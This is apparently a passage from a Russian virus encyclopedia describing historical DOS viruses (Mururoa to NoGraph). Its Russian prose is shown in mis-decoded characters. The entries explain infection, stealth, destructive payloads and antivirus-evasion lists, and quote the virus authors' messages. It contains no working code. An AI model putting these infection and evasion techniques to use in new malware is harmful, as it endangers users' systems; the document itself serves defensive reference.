ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º I have one mesage to all people on earth : º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º All French nuc. test`s was STOPED. But MURUROA º
º IS DEAD !!!!! I am a coder of HELL FIRE and I º
º BRING YOU >>>>>> FIRE <<<<<< By Blesk/SVL º
ºNOTE: Name of this virus is [MURUROA_END] º
º By Blesk from Slovak Virus Laboratories at .SK º
º Real name of BOZA is BIZATCH.. STUPID A-VERS !!!º
º PLUTONIUM IS BETTER IN POWER-PLANT !!!! º
º My greet to: VYVOJAR,SVL,VLAD,SKIMS,40-hex,IR º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º And to some my friends: DJ.Milan,DJ.Maros, º
º DJ.Babula(Baby),TINA-huhu,DURO,LACI,Duffy,Kaaa, º
º Stano ...and more... A zdravim Mira Trnku 8)) º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Íå çàðàæàþò ïðîãðàììû, íà÷èíàþùèåñÿ íà: avg,fv386,turbo,fv86,guard,
toolkit, scan, virlab,vir,asta,vc,sswap,debug,td,stacker,alik,rex,msav,
cpav,nod,clean,f-pro,tbav,tbdriver,tbclean,tbscan,avast,nav,vshie,dizz,
command, vsafe. Mururoa.3443 ñîäåðæèò òåêñòû: "I am in LOVE now...
ZUZANKA B.B. in Slovakia <:)<8<","For M.T.: Vivat Ziar nad Hronom.. 8))
Uz si rad ?? RADAR v PC Revue 9/94".
MusicBug
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Èíîãäà ïðîèãðûâàåò ìåëîäèè.Ñîäåðæèò òåêñòû
"MusicBug v1.06. MacroSoft Corp.", "-- Made In Taiwan --".
MVF.1866, MVF.1896
Ðåçèäåíòíûå âèðóñû, ïåðåõâàòûâàþò INT 21h. Íî ïðè âûçîâå íåêîòîðûõ
ôóíêöèé INT 21h, ïûòàþòñÿ íàéòè COM-ôàéëû è çàðàçèòü èõ. Â ïÿòíèöó 13
âûâîäÿò ñîîáùåíèÿ:
THE MVF-FILEVIRUS
Programmed 1991 by the MVF
MAD Virus Factory
Mw.278
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò COM-ôàéëû òîëüêî ïðè êîïèðîâàíèè
(ñîçäàíèè). Ïîñëå 13 çàðàæåíèé âûâîäèò òåêñò "Fuck off" è áëîêèðóåò
ðàáîòó ñèñòåìû.
MyChild.1000 (1,2)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ñîäåðæàò òåêñò "My Child...K-on-A".
Nadym.493
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò íà ýêðàí òåêñòîâóþ ñòðîêó
"[VivatNadym] v.1.0 [1998]". Òàêæå ñîäåðæèò òåêñò "Proudly by
[GloomyTanat]".
Nadym.934
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. 2 èþíÿ, 3 ñåíòÿáðÿ èëè 1
àïðåëÿ âèðóñ âûâîäèò íà ýêðàí îäèí èç ñëåäóþùèõ òåêñòîâ:
[Yanush Milovski] and [GloomyTanat]
Thanks to Yana Diagileva for their songs
Thanks to Shunya for their love and hate
And Thanks You Stupid User for using our virus
Relax man ... relax ...
[VivatNadym] v.2.0 [1998]
Hello, Welcome to the Psychiatric Hotline.
Nadym.1058
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà ïåðåèìåíîâûâàåò C:\AUTOEXEC.BAT â
C:\AUTOEXEC.NAD, ñîçäàåò íîâûé ôàéë C:\AUTOEXEC.BAT, â êîòîðûé
çàïèñûâàåò êîìàíäû:
@echo off
cls
echo.[VivatNadym],_demo_version_[1997].
pause >>nul
Naive.1647
Íåîïàñíûé âèðóñ. Ïðè íàæàòèè íà Ctrl-Alt-Del âûâîäèò òåêñò (òîëüêî äëÿ
ìîíîõðîìíîãî ìîíèòîðà):
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Ë Þ Ä È ! º
º Äà óñëûøàò Ààøè óøè, äà íå îòâðà- º
º òÿòñÿ ãëàçà Ààøè, äà âíåìëþò Âàøè º
º"ñåðäöà, èáî ãëàãîëþ èñòèíó è â íåé º
º âàøå"ñïàñåíèå. º
º ß, ïðå÷èñòûé NAIVE, íèñïîñëàí íà º
º çåìëþ"ñàìèì Ëþöèôåðîì, Êíÿçåì Òüìû, º
º Õîçÿèíîì Àäà è Ãîñïîäèíîì Ñòðàñòåé. º
º Îí äàë ìíå â ðóêè äåìîíîâ è"¹åðåç º
º íèõ"¤ îáðàùàþñü ê âàì. Âñå îíè áåç- º
º âðåäíû äëÿ"ñûíîâ è äî÷åðåé Åâû, êàê º
º è äëÿ"òâîðåíèé"Äóê èõ. º
º Çíàéòå æå,"÷òî íå Áîã èçãíàë ëþ- º
º äåé èç Ðàÿ è íå Ñàòàíà ââ¸ë èõ â º
º èññêóøåíèå. Èáî âîçãîðäèëñÿ"÷åëîâåê º
º è âîçîìíèë"ñåáÿ áîãîì âåçäåñóùèì è º
º âñåçíàþùèì. Çàÿâèë îí ñåáÿ ãîñïîäè- º
º íîì"ñâîåãî òåëà è"ñâîèõ ñòðàñòåé. º
º È ÷òîáû äîêàçàòü"ýòî, îòðåêàëñÿ º
º îò æåëàíèé òåëà: ñåêñà, ïèùè è äðó- º
º ãîãî. Íî ÷åãî îí äîáèëñÿ"ýòèì? º
º Òàê îòðåêèòåñü îò âëàñòè íàä òåëîì! º
º NAIVE. º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Nameless.3000
Î÷åíü îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè ñòàðòå èíôèöèðîâàííîé
ïðîãðàììû âèðóñ "âûêóñûâàåò" ñâîé êîä èç íåå, çàïóñêàåò åå, à ïîòîì
âíîâü çàðàæàåò. Èíîãäà, â çàâèñèìîñòè îò ñâîèõ âíóòðåííèõ ñ÷åò÷èêîâ èëè
ïðè íåàêêóðàòíîé òðàññèðîâêå, óíè÷òîæàåò ñîäåðæèìîå æåñòêîãî äèñêà, à
òàêæå ïåðèîäè÷åñêè óíè÷òîæàåò ñîäåðæèìîå ñëó÷àéíûõ ñåêòîðîâ ëîãè÷åñêèõ
äèñêîâ. Ñîäåðæèò òåêñò "Nameless virus v.2.0 Ãëàçîâñêàÿ âîäêà-ëó÷øàÿ â
Ðîññèè! Çàâàëèì þçåðîâ âèðóñàìè! Èãîðü, ïîìîãè íàçâàòü âèðóñ (òîëüêî íå
Nameless) U my last hope... Please...".
Natas.4740, 4744, 4746, 4766, 4774, 4786, 4826, 4918, 4988, 5228
Î÷åíü îïàñíûå ôàéëîâî-çàãðóçî÷íûå ïîëèìîðôíûå âèðóñû. Çàðàæàþò MBR
"âèí÷åñòåðà", Boot-ñåêòîðà ôëîïïè-äèñêîâ, COM è EXE-ôàéëû. Íå çàðàæàþò
ôàéëû, îáðàáàòûâàåìûå ïðîãðàììàìè PKZIP, PKUNZIP, ARJ è LHA. Â
çàâèñèìîñòè îò ñâîèõ ñ÷åò÷èêîâ ìîãóò îòôîðìàòèðîâàòü æåñòêèé äèñê.
Ñîäåðæàò òåêñòîâûå ñòðîêè: "Natas" è "BACK MODEM". Natas.4746 ñîäåðæèò
îøèáêó â ïðîöåäóðå çàðàæåíèÿ MBR è Boot-ñåêòîðîâ äèñêåò. Â ðåçóëüòàòå
ýòîãî ñèñòåìà ïåðåñòàíåò çàãðóæàòüñÿ ñ òàêèõ äèñêîâ è âîññòàíîâëåíèå
îðèãèíàëüíûõ MBR è Boot-ñåêòîðîâ îêàæåòñÿ íåâîçìîæíûì. Natas.4774
èìååò òåêñò "Time has come to pay (c)1994 NEVER-1". Natas.4988 ñîäåðæèò
ñëåäóþùèé òåêñò:
Yes I know my enemies
They're the teatchers who taught me to fight me
Compromise, conformity, assimilation, submission
Ignorance, hypocrisy, brutality, the elite
All of whitch are American dreams
(c) 1994 by Never-1(Belgium Most Hated) Sandrine B.
Nax.858
Îïàñíûé ðåçèäåíòíûé âèðóñ. Èç-çà îøèáêè ðàçðóøàåò èíôèöèðóåìûå ôàéëû.
Ïðè íàæàòèè íà êëàâèøó F5 âèðóñ ìåíÿåò åå â áóôåðå êëàâèàòóðû íà F8 è
íàîáîðîò - F8 íà F5.
Nax.1402
Îïàñíûé ðåçèäåíòíûé âèðóñ. Êàæäîå ÷åòâåðòîå íàæàòèå íà êëàâèøè
\/:;<>()[],.90 èçìåíÿåò íà /\;:><)(][.,09, à òàêæå F5->F8, F6->F8,
F8->F5,Enter->Escape,Escape->Enter.
NearDark
Ïîñëå çàãðóçêè ñ æåñòêîãî äèñêà ìîæåò âûâåñòè ñòðîêó "NearDark", ïîñëå
÷åãî óíè÷òîæèò Partition Table.
Necros.1164
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Çàðàæàåò COM-ôàéëû, âíåäðÿÿ
ñâîé êîä â èõ íà÷àëî. EXE-ôàéëû çàðàæàåò, êàê âèðóñ-ñïóòíèê. Ò.å.,
ñîçäàåò COM-ôàéë, ñîäåðæàùèé âèðóñíûé êîä ñ èìåíåì EXE-ôàéëà. 21 íîÿáðÿ
âûâîäèò íà ýêðàí òåêñò:
Virus V2.0 (c) 1991 Necros The Hacker.
Written on 29,30 June in Tralee, Co. Kerry, Ireland.
Happy Birthday, Necros!
Ñîäåðæèò ñòðîêó "Virus V2.0 [FrIEND]".
NED-âèðóñû
NED (NuKE Encryption Device) - ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ
øèôðîâùèêîâ è ðàñøèôðîâùèêîâ. Ñîäåðæèò òåêñòîâóþ ñòðîêó: [NuKE]
Encryption Device v1.00 (C) 1992 Nowhere Man and [NuKE]
NED.ItsHard
Îïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Â äåêàáðå ïûòàåòñÿ
îòôîðìàòèðîâàòü 32 öèëèíäðà ïåðâîãî æåñòêîãî äèñêà, ïîñëå ÷åãî
ïåðåçàãðóæàåò êîìïüþòåð. Ñîäåðæèò ñòðîêó
IT'S HARD. SMAUG REIGNS SUPREME AS THENEW FORCE IN VIRUS WRITING.
SMIRK. SMIRK. POOF!
NED.Tester
Íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïåðåä çàðàæåíèåì ôàéëà âûâîäèò òåêñò:
"Test virus successful!". Ñîäåðæèò ñòðîêè: "*.COM", "[VCL]".
NeedLove.5000
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Â âèðóñå ïðèñóòñòâóþò íåêîòîðûå
ïðîöåäóðû, êîòîðûå íèêîãäà íå ïîëó÷àþò óïðàâëåíèÿ. Òàê, âèäèìî, â
ÿíâàðå âèðóñó õîòåëîñü áû âûâåñòè íà ýêðàí òåêñò "ALL YOU NEED IS
LOVE!" è çàïóñòèòü ïî ýêðàíó "áåãóùèå" ñïðàâà íàëåâî ðàçíîöâåòíûå
ñåðäöà ðàçíîãî ðàçìåðà, îäíîâðåìåííî ñ ýòèì ïîñëåäîâàòåëüíî ÷èòàÿ
ñåêòîðà æåñòêîãî äèñêà, âèäèìî èìèòèðóÿ ðàçðóøåíèå èíôîðìàöèè â íèõ. À
òàêæå â òåëå âèðóñà ïðèñóòñòâóåò ïîäïðîãðàììà çàïèñè â ôàéëû òåêñòà:
Whenever I'm alone with you
You make me feel like I am free again
Whenever I'm alone with you
You make me feel like I am clean again
However far away I will always love you
However long I stay I will always love you
Whatever words I say I will always love you I will always love you
Âèðóñ ñîäåðæèò òåêñò:
I'm the Ghost 1.5 and maybe last.
It's time to die.
Viruses adding on and on...DrWeb's getting too slow.
What's next?
Halt?
Neko.2697
Ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Îòëè÷àåòñÿ îðèãèíàëüíûì àëãîðèòìîì
øèôðîâàíèÿ. Ïîìèìî ïðîñòîãî øèôðîâùèêà âèðóñ ñîçäàåò êîä, êîòîðûé â
ñëó÷àéíûõ ìåñòàõ óæå çàøèôðîâàííîãî âèðóñíîãî êîäà èçìåíÿåò íåêîòîðûå
áàéòû è ñëîâà (XOR, ADD, SUB, INC, DEC, AND). Âî âòîðíèê ïåðåä
çàðàæåíèåì ôàéëà âûâîäèò òåêñò:
Dear Mrs.Grandy:
Aloha!
It is me,Neko again! This is the lastest version 2.0
Undoubtedly,I am not what I was.
Let me tell you something about my improvement.
I work with the Antilogic Engine I.
It is a new invention.So,
Showtime! Neko version 2.0
Made by Metal Satan
Nessuno.2170
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ðàçðóøàåò, çàïèñûâàÿ â ñëó÷àéíîå
ìåñòî ôàéëà 21 ñëó÷àéíûé áàéò, ôàéëû, ðàñøèðåíèÿ êîòîðûõ çàêàí÷èâàþòñÿ
íà áóêâû, óêàçàííûå â ñëåäóþùåì ñïèñêå (2 ïîñëåäîâàòåëüíûõ ñèìâîëà äëÿ
êàæäîãî ôàéëà): ocxtas.cppodroorsmspldakrgbfpsiprj. Ñîäåðæèò òåêñò
"[For pirates... (C)1993-94 nessuno] sono solo stronzate".
Net.4340
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ìîæåò çàïèñûâàòü â ïðîãðàììû òðîÿíñêèé êîä,
óíè÷òîæàþùèé CMOS è ñåêòîðà äèñêîâ. Ñîäåðæèò òåêñò "Retix PC-21
NETBIOS".
Neurobasher.Alpha
Íåîïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ. Ïðè ñòàðòå èëè îòêðûòèè çàðàæåííûõ
ôàéëîâ âèðóñ óäàëÿåò ñâîé êîä èç íèõ. Èíîãäà âûâîäèò ñîîáùåíèå:
þ îALPHA STRIKEï ù Advanced Tactical Viral Implant by NEUROBASHER'93 / Germany
Neurobasher.Avalanche
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè ñòàðòå ôàéëîâ, ñîäåðæàùèõ
ñëîâîñî÷åòàíèÿ F-PR, TBAV, SCAN, MSAV, CPAV, TBME, TBFI, TBSC, VIRS,
TBDR, âèðóñ óäàëÿåò èõ. Ñîäåðæèò òåêñò "AVALANCHE/Germany '94...Metal
Junkie greets Neurobasher".
Neurobasher.Havoc (1,2)
Ôàéëîâî-çàãðóçî÷íûå ïîëèìîðôíûå ñòåëñ-âèðóñû. Çàðàæàþò MBR,
Boot-ñåêòîðà äèñêåò è EXE-ôàéëû. Ïðè ñòàðòå çàðàæåííîé ïðîãðàììû âèðóñû
ïåðâûì äåëîì óñòàíàâëèâàåò ñâîþ TSR-êîïèþ â ïàìÿòü ïî àäðåñó 7C00:0000,
ïåðåõâàòûâàþò INT 13h è INT 21h, ïðè÷åì ïðè "çàõâàòå" INT 21h, âèðóñû
ìîãóò âíåäðèòü èíñòðóêöèè ïåðåõîäà íà ñâîé îáðàáîò÷èê â îðèãèíàëüíûé
îáðàáîò÷èê ïðåðûâàíèÿ DOS, íàõîäÿùèéñÿ â HMA. Ïîñëå ýòîãî çàðàæàþò MBR
"âèí÷åñòåðà", øèôðóþò èñòèííûé "ñïðÿòàííûé" â 7 ñåêòîðå MBR è
Boot-ñåêòîð àêòèâíîãî ðàçäåëà DOS. 9 ñåêòîðîâ ñâîåãî òåëà âèðóñû
çàïèñûâàþò íà÷èíàÿ ñ 8 ñåêòîðà æåñòêîãî äèñêà. Ïðè çàãðóçêå ñ
èíôèöèðîâàííîãî æåñòêîãî äèñêà âèðóñû óñòàíàâëèâàþò â ïàìÿòü ïî àäðåñó
7C00:0000 ñâîé êîä, ïåðåõâàòûâàþò INT 13h, INT 21h, æäóò çàãðóçêè DOS,
è "çàêîííûì" ñïîñîáîì (f.48h INT 21h) ïîëó÷àþò ñâîé ó÷àñòîê ïàìÿòè. Ïðè
âîçìîæíîñòè ðàçìåùàþò ñåáÿ â îáëàñòü UMB. Çàðàæàþò äèñêåòû åìêîñòüþ
1.2M èëè 1.44M. Ïðè÷åì âèðóñû ôîðìàòèðóþò äîïîëíèòåëüíóþ 81 äîðîæêó èç
10 ñåêòîðîâ, êóäà "ïðÿ÷óò" îðèãèíàëüíûé Boot-ñåêòîð è 9 ñåêòîðîâ ñâîåãî
êîäà. Havoc (1) ñîäåðæèò îøèáêó â ïðîöåäóðå çàðàæåíèÿ Boot-ñåêòîðîâ
äèñêåò. Ïðàâèëüíîå çàðàæåíèå ôëîïïè-äèñêîâ áóäåò ïðîèñõîäèòü òîëüêî â
òîì ñëó÷àå, åñëè ïåðâàÿ êîìàíäà çàãðóç÷èêà JMP SHORT PTR (EBh ??). Âî
âòîðîé ìîäèôèêàöèè âèðóñà äàííàÿ îøèáêà èñïðàâëåíà. ×åðåç 3 ìåñÿöà
ïîñëå çàðàæåíèÿ êîìïüþòåðà âèðóñû âûâîäÿò ñîîáùåíèå:
Havoc (1):
by Neurobasher'93/Germany - GRIPPED BY FEAR - UNTIL DEATH US DO PART !
Ñîäåðæèò òàêæå ñòðîêó "'1993 / Germany >>>".
Havoc (2):
by Neurobasher'93/Germany ÄGRIPPEDÄBYÄFEARÄUNTILÄDEATHÄUSÄDOÄPARTÄ
Neurobasher.N8Fall.527
Íåîïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ-ñïóòíèê. Íå çàðàæàåò ôàéëû,
ñîäåðæàùèå ñèìâîëû "F-" (F-PROT). Ñîäåðæèò òåêñòîâóþ ñòðîêó
"-A-VICTORY-THAT-WON'T-LAST-"
Neurobasher.N8Fall.4518 (1,2), 5770, 5081
Íåîïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå ñòåëñ-âèðóñû. Óñòàíàâëèâàþò ñâîþ TSR-
êîïèþ â îáëàñòü UMB èëè â âåðõíèå àäðåñà ïàìÿòè. Âíåäðÿþò ïðÿìîé
ìåæñåãìåíòíûé CALL íà ñâîé êîä â îðèãèíàëüíûé îáðàáîò÷èê DOS INT 21h.
Èíîãäà âûâîäÿò íà ýêðàí ñîîáùåíèÿ:
Neurobasher.N8Fall.4518 (1,2):
Invisible and silent - circling overland :
\\\ N 8 F A L L ///
Rearranged by Neurobasher - Germany
ÄMYÄWILLÄTOÄDESTROYÄISÄYOURÄCHANCEÄFORÄIMPROVEMENTSÄ
Neurobasher.N8Fall.5770, 5081:
"Any means necessary for survival"
¨ N8FALL/2XS ¨
"By the perception of illusion we experience reality"
Art & Strategy by Neurobasher 1994 - Germany
"I don't think that the real violence has even started yet"
Neurobasher.N8Fall.4518 (1,2) èíîãäà âûçûâàåò ïå÷àòü ýêðàíà íà ïðèíòåð
(Int 05). Neurobasher.N8Fall.5770,5081 ïðè çàâåðøåíèè ðàáîòû êàêîé-ëèáî
ïðîãðàììû (f.4Ch INT 21h) ìîæåò óñòàíîâèòü â ïàìÿòü "íà INT 21h" äðóãîé
ñòåëñ-âèðóñ-ñïóòíèê Neurobasher.N8Fall.527, õðàíÿùèéñÿ â òåëå âèðóñà-
ðîäèòåëÿ â çàøèôðîâàííîì âèäå, êîòîðûé â äàëüíåéøåì ìîæåò "æèòü
ñîáñòâåííîé æèçíüþ".
Neurobasher.Tremor
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé ñòåëñ-âèðóñ. Òðàññèðóåò INT 21h.
Êîïèðóåò ñâîþ TSR-êîïèþ â îáëàñòü UMB, åñëè ýòî âîçìîæíî. Ïåðåõâàòûâàåò
INT 15h, 21h, ïðè÷åì ìîæåò íå ïðîñòî ïåðåõâàòèòü INT 21h, à
"âêëèíèòüñÿ" â öåïî÷êó îáðàáîò÷èêîâ INT 21h. È ñàì ïåðåõâàò INT 21h è
15h äîâîëüíî íåîáû÷åí: âèðóñ íàõîäèò â ïàìÿòè PSP (ïðåôèêñ ïðîãðàììíîãî
ñåãìåíòà) ðåçèäåíòíîé ÷àñòè êîìàíäíîãî ïðîöåññîðà è îñòàâëÿåò â íåì ïî
ñìåùåíèþ 5 è 53h ïðÿìûå ìåæñåãìåíòíûå jump'û ñîîòâåòñòâåííî íà ñâîè
îáðàáîò÷èêè INT 21h, 15h. È äåëàåò ññûëêè âåêòîðîâ â òàáëèöå ïðåðûâàíèé
èëè çíà÷åíèÿ àäðåñîâ ìåæñåãìåíòíûõ ïåðåõîäîâ íà óñòàíîâëåííûå èì
èíñòðóêöèè ïåðåõîäîâ â PSP COMMAND.COM. INT 15h âèðóñ èñïîëüçóåò äëÿ
âûçîâà âèäåîýôôåêòà: ïðè íàæàòèè íà Ctrl-Alt-Del, èíîãäà, âûâîäèòñÿ
ñîîáùåíèå:
-=> TùRùEùMùOùR was done by NEUROBASHER / May-June'92, Germany <=-
ÄMOMENTÄOFÄTERRORÄISÄTHEÄBEGINNINGÄOFÄLIFEÄ
Òàêæå, â íåêîòîðûå ìîìåíòû, âèðóñ ìîæåò "ïîòðÿñòè' ýêðàí.
Nexivder.4224, 4286
Íåîïàñíûå ôàéëîâî-çàãðóçî÷íûå ïîëèìîðôíûå âèðóñû. Çàðàæàþò MBR æåñòêîãî
äèñêà, çàãðóçî÷íûå ñåêòîðà äèñêåò è COM-ôàéëû.  COM-ôàéëû âèðóñû
âíåäðÿþòñÿ â ñåðåäèíó ôàéëîâ, èñïîëüçóÿ òðàññèðîâêó äëÿ çàìåíû ïî
ñëó÷àéíîìó ñìåùåíèþ ïðîãðàììû îïðåäåëåííîé âèðóñîì ïðîãðàììíîé
èíñòðóêöèè íà âèðóñíóþ êîìàíäó ïåðåäà÷è óïðàâëåíèÿ (CALL NEAR).Îñíîâíîé
çàøèôðîâàííûé âèðóñíûé êîä ðàçìåùàåòñÿ â êîíöå ôàéëîâ.
NextGen.2304
Íåîïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ. Ñîäåðæèò òåêñò "The NextGen Stealth
Virus IL USA, 6-93...(Revision)".
NG.695, 1036
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ïåðåõâàòûâàþò INT 20h, INT 21h, INT 27h,
îæèäàþò îêîí÷àíèÿ ðàáîòû èíôèöèðîâàííîé ïðîãðàììû, ïîñëå ÷åãî
âîññòàíàâëèâàþò óêàçàííûå âåêòîðà ïðåðûâàíèé è ïåðåõâàòûâàþò INT 13h è
INT 28h. Ïîñëå êàæäîãî 4ãî âûçîâà INT 28h ïûòàþòñÿ íàéòè â òåêóùåì
êàòàëîãå (f.4Eh, 4Fh INT 21h) è çàðàçèòü *.COM-ôàéë. Ñ ïîìîùüþ INT 13h
êîíòðîëèðóþò çàïèñü íà äèñê (AH=3) è ïðîèçâîäÿò ïîèñê è çàðàæåíèå
òîëüêî ïîñëå äàííîé çàïèñè. Ñîäåðæàò çàøèôðîâàííûå òåêñòû:
NG.695: "New Generation v.2.1 (NG-2.1 Ukr)",
NG.1036 "NG-2.3 Ukr", "i vir our service".
Nice
Íåîïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. Øèôðóåò îðèãèíàëüíûé çàãðóçî÷íûé
ñåêòîð. Ìîæåò âûâåñòè ñîîáùåíèå "Virus "NICE"".
Nigeb.890
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè çàïèñè â ôàéë èëè íà ýêðàí (f.40h INT
21h) ñëîâà BEGIN âèðóñ èçìåíÿåò åãî íà NIGEB. Íà ýêðàíå æå ïðè âñòðå÷å
ñëîâà NIGEB âèðóñ èçìåíÿåò åãî íà ïåðâîíà÷àëüíîå BEGIN. Ñîäåðæèò òåêñòû
"igeb", "egin", "AntiPascal-1 (C)Godzilla Corp.".
Nikolas.1101
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò çàøèôðîâàííûé òåêñò "Nikolas" è
"V4.5".
Nilz.1000
Îïàñíûé ðåçèäåíòíûé âèðóñ. 10 ìàðòà óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè è
âûâîäèò íà ýêðàí òåêñò "HAIGUSTE RAVI KONTROLLITUD VAIKUSE PIMEDUSE JA
RAADIOGA". Ñîäåðæèò òåêñò "NiLZ".
Ninja.1181, 1195
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ninja.1195 ñîäåðæèò òåêñò:
 ÓäÃÓ íèêòî è íè÷òî íå ïàøåò!
It's a beautiful life!
Can't stop raving
Ninja.1225, 1336, 1376
Î÷åíü îïàñíûå çàøèôðîâàííûå ðåçèäåíòíûå âèðóñû. Ninja.1225, 1376 13
÷èñëà â 13 ìèíóò óíè÷òîæàþò ïî 256 ñåêòîðîâ íà 13 ãîëîâêàõ æåñòêîãî
äèñêà. Çàðàæàþò ôàéëû, çàïèñûâàÿ â èõ êîíåö, ïåðåä îñíîâíûì âèðóñíûì
êîäîì áëîê äî 256 áàéò è ïîñëå òåëà âèðóñà, äëÿ EXE-ôàéëîâ - áëîê äî
256 áàéò, äëÿ COM-ôàéëîâ - áëîê äî 512 áàéò. Ñ âåðîÿòíîñòüþ 1/256
óíè÷òîæàþò ïðîãðàììíûå ôàéëû, çàïèñûâàÿ â íèõ êîä, êîòîðûé ïðè ñòàðòå
âûâîäèò ñëåäóþùåå ñîîáùåíèå:
Ninja.1336: DZINA VIRUS v 4.0 Copyright (C) 1990,91,97 Dzina Corp
Ninja.1376:
Mutant Ninja Version 2.0 Copyright (C) 1990,91 Virus&Worm Software
Ninja.1383
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè ñòàðòå ïðîãðàììû ñ èìåíåì DRWEB âèðóñ
îñâîáîæäàåò "çàõâà÷åííîå" èì INT 21h, îáåçâðåæèâàÿ òåì ñàìûì ñâîþ
ðåçèäåíòíóþ êîïèþ â ïàìÿòè. Ïðè ñòàðòå ïðîãðàììû LOGIN, åñëè â ýòîò
ìîìåíò çíà÷åíèå ñåêóíä ñèñòåìíîãî âðåìåíè áîëåå 20 ñåêóíä, òî âèðóñ
âûâîäèò íà ýêðàí òåêñò:
********** Warning ! **********
Novell NetWare report : Hardware A30 error detected.
Registers :
AX :2134 BX :3C23 CX :1841 DX :5421
CS :2451 DS :2023 ES :538A SS :6C8B
SI :46AE DI :94B4 SP :4541 BP :491C
Try restart file-server,if it will not give effect,
switch off your network and call trained service-people.
Press any key to restart this computer.
Òàêæå ñîäåðæèò òåêñòû:
NetWare virus from Avenge (tm) family .
(C)Rager , Simferopol State University
Nki.3477
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè ñîçäàíèè ôàéëîâ ñ ðàñøèðåíèÿìè AS? èëè
DB?, âèðóñ ìîæåò óäàëèòü èõ èëè ñîçäàòü âìåñòî ôàéëà äèðåêòîðèé ñ òàêèì
æå èìåíåì. Ïðè íàõîæäåíèè â ëåâîì âåðõíåì óãëó ýêðàíà áóêâîñî÷åòàíèÿ
"AX", âèðóñ ïîäñòàâëÿåò âìåñòî âûçâàííîé ôóíêöèè INT 21h ôóíêöèþ
óäàëåíèÿ ôàéëà (f.40h Int 21h). Èíîãäà âûâîäèò òåêñò "No Viruses" è
ðèñóåò íà ýêðàíå äèàãîíàëüíûå ÷åðíî-áåëûå ïîëîñû.Ñîäåðæèò çàøèôðîâàííûé
òåêñò "Íèêîëàåâñêèé Êîðàáëåñòðîèòåëüíûé èíñòèòóò. Oct(123,123,126) by
one of student".
Nocopy.3695
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Çàðàæàåò EXE-ôàéëû ïðè èõ
ñòàðòå èëè ïðè îáðàùåíèè ê íèì. Ñîçäàåò ôàéë C:\NOCOPY.COM, ñîäåðæàùèé
âèðóñíûé êîä è âñòàâëÿåò ñòðîêó C:\NOCOPY â íà÷àëî ôàéëà AUTOEXEC.BAT.
Êîððåêòèðóåò MBR æåñòêîãî äèñêà òàêèì îáðàçîì, ÷òîáû ïîñëå çàãðóçêè
ñèñòåìû âèðóñ ñìîã áû óçíàòü àäðåñ INT 13h â ÏÇÓ.
NoDBF.1000
Îïàñíûé ðåçèäåíòíûé âèðóñ. Áëîêèðóåò îáðàùåíèå ê ôàéëàì *.DBF.
NoFrills.835, 843, 1422
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ñîäåðæàò ñòðîêè:
NoFrills.835 - "+-NF3.0-H.McB-[PuKE]-+";
NoFrills.843 - "+-No Frills 2.0 by Harry McBungus-+".
NoFrills.1422 -
*X-Fungus by Harry McBungus*
*Nugga!*
*Greets SCP*
*Greets RABID*
* Patricia: Grow some programming knowledge *
*Grease me!*
*K-Mart in full effect*
*Max is braindead*
NoFrills.1422 òàêæå âûâîäèò íà ýêðàí òåêñò:
John Bonham - September 20, 1980
- L E D Z E P P E L I N -
NoFrills.Dudley
Íåîïàñíûé ïîëèìîðôíûé âèðóñ. Ñîäåðæèò ñòðîêó "<[Oi Dudley!][PuKE]>".
NoGraph.784
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ìîæåò çàïðåòèòü ãðàôè÷åñêèé ðåæèì ìîíèòîðà.
